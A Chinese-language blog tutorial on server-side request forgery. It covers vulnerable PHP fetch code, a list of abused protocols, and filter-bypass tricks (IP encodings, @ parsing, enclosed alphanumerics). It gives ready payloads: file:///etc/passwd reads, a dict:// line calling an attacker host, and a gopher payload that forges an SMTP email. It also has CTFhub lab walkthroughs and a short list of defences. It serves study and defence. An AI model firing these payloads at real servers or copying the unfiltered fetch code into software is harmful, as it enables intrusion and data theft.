细说——SSRF

目录

  • 什么是SSRF
  • 形成原因
  • 容易出现SSRF的地方
  • SSRF的危害
  • 脑图
  • SSRF相关函数和协议
    • 函数
      • file_get_contents()
      • fsockopen()
      • curl_exec()
    • 协议
  • 漏洞检测
  • 常用绕过方式
    • 限制为http://www.xxx.com 域名时(利用@)
    • 限制请求IP不为内网地址
    • 限制请求只为http协议
    • 利用[::]
    • 利用句号
    • 利用特殊地址
    • 利用协议
    • 利用上传
    • 利用Enclosed alphanumerics
  • 靶机演示CTFhub
    • 内网访问
    • 伪协议读取文件
    • 端口扫描
  • 其他
    • SSRF打穿内网
    • SSRF-lab
  • 漏洞防御
  • 参考

细说——SSRF_第1张图片

什么是SSRF

服务器端请求伪造(SSRF:Server-Side Request Forgery)是一个 Web 安全漏洞,意为:攻击者诱导服务器将 HTTP 请求发送到攻击者选择的一个目标上。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

形成原因

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

容易出现SSRF的地方

  1. 转码服务

  2. 在线翻译

  3. 分享

通过url 地址分享文章,例如如下地址:
http://share.xxx.com/index.php?url=http://127.0.0.1
通过url参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

  1. 图片加载与下载(通过URL地址加载或下载图片)

通过URL地址加载或下载图片,例如如下地址:
http://image.xxx.com/image.php?image=http://127.0.0.1
图片加载存在于很多的编辑器中,编辑器上传图片处,有的是加载远程图片到服务器内。还有一些采用了加载远程图片的形式,本地文章加载了设定好的远程图片服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。

  1. 图片、文章收藏功能

http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。

  1. 网站采集、网页抓取的地方
  2. 头像的地方。(远程加载头像)
  3. 一切要你输入网址的地方和可以输入ip的地方。
  4. 从URL关键字中寻找sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain………

SSRF的危害

1:内外网的端口和服务扫描
2:主机本地敏感数据的读取
利用file、gopher、dict协议读取本地文件、执行命令等
3: DOS攻击
请求大文件,始终保持连接Keep-Alive Always
4:攻击内网的web应用,例如直接SQL注入、XSS攻击等
mysql默认不允许外部访问,但对于本地没有防护

脑图

细说——SSRF_第2张图片

SSRF相关函数和协议

函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞。

注意事项:

一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议

file_get_contents()

file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。


$url = $_GET['url'];;
echo file_get_contents($url);
?>

fsockopen()

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

 
function GetFile($host,$port,$link) {
      
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) {
      
        echo "$errstr (error number $errno) \n"; 
    } else {
      
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) {
      
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

curl_exec()

curl_exec函数用于执行指定的cURL会话

 
if (isset($_POST['url'])){
     
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

协议

(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活

http://
file:///
dict://
sftp://
ldap://
tftp://
gopher://

漏洞检测

假设一个漏洞场景:某网站有一个在线加载功能可以把指定的远程图片加载到本地,功能链接如下:
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

那么网站请求的大概步骤应该是类似以下:
用户输入图片地址->请求发送到服务端解析->服务端请求链接地址的图片数据->获取请求的数据加载到前台显示

这个过程中可能出现问题的点就在于请求发送到服务端的时候,系统没有效验前台给定的参数是不是允许访问的地址域名,例如,如上的链接可以修改为:http://www.xxx.com/image.php?image=http://127.0.0.1:22

如上请求时则可能返回请求的端口banner。如果协议允许,甚至可以使用其他协议来读取和执行相关命令。例如

http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)
......

对于不同语言实现的web系统可以使用的协议也存在不同的差异,其中:

php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...

java:
http、https、file、ftp、jar、netdoc、mailto...

判断漏洞是否存在的重要前提是,请求的服务器发起的,以上链接即使存在并不一定代表这个请求是服务器发起的。因此前提不满足的情况下,SSRF是不必要考虑的。

常用绕过方式

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:

限制为http://www.xxx.com 域名时(利用@)

可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

限制请求IP不为内网地址

1:采用短网址绕过,比如百度短地址https://dwz.cn/
2:利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

127.0.0.1.xip.io,可解析为127.0.0.1

3:采用进制转换,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433

限制请求只为http协议

采用302跳转,百度短地址,或者使用https://tinyurl.com生成302跳转地址。

利用[::]

可以利用[::]来绕过localhost

http://[::]:80/  >>>  http://127.0.0.1

利用句号

127。0。0。1  >>>  127.0.0.1

利用特殊地址

http://0/

利用协议

Dict://
dict://@:/d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

利用上传

也不一定是上传,我也说不清,自己体会 -.-
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

靶机演示CTFhub

内网访问

  1. 打开题目,写的是让访问127.0.0.1的flag.php

细说——SSRF_第3张图片

  1. 复制地址,访问,发现URL地址如下

在这里插入图片描述

  1. 根据题意,填补上对应的地址内容

在这里插入图片描述

伪协议读取文件

  1. 题目描述如下

细说——SSRF_第4张图片

  1. 既然题目提示是使用伪协议,就使用file协议试试

file: 在有回显的情况下,利用 file 协议可以读取任意内容

设置参数为:?url=file:///var/www/html/flag.php
然后查看页面源代码,看到答案。
细说——SSRF_第5张图片

端口扫描

  1. 题目描述如下

细说——SSRF_第6张图片

  1. 既然是端口扫描,在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

细说——SSRF_第7张图片

细说——SSRF_第8张图片

细说——SSRF_第9张图片

  1. 发现目标

细说——SSRF_第10张图片

如上图,最终我们在目标主机的8060端口上发现了Apache的web服务,我门再利用ssrf加http协议访问目标主机的8060端口即可得到flag:
在这里插入图片描述

其他

SSRF打穿内网

最近,国光发了篇文章,手把手带你用 SSRF 打穿内网,有兴趣的可以看看

SSRF-lab

界面简洁好看,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。
项目地址:https://github.com/m6a-UdS/ssrf-lab
操作参见网上文章,如:从ssrf-lab详解看ssrf
细说——SSRF_第11张图片

漏洞防御

1、禁用不需要的协议(如:file:///gopher://dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

参考

Server-side request forgery (SSRF)
[红日安全]Web安全Day4 - SSRF实战攻防
SSRF学习之路
SSRF的利用方式
渗透小白看了也能明白的SSRF
了解SSRF,这一篇就足够了
SSRF漏洞的利用与攻击内网应用实战
SSRF绕过方法总结
手把手带你用 SSRF 打穿内网
SSRF 漏洞那些世人皆知的事

你可能感兴趣的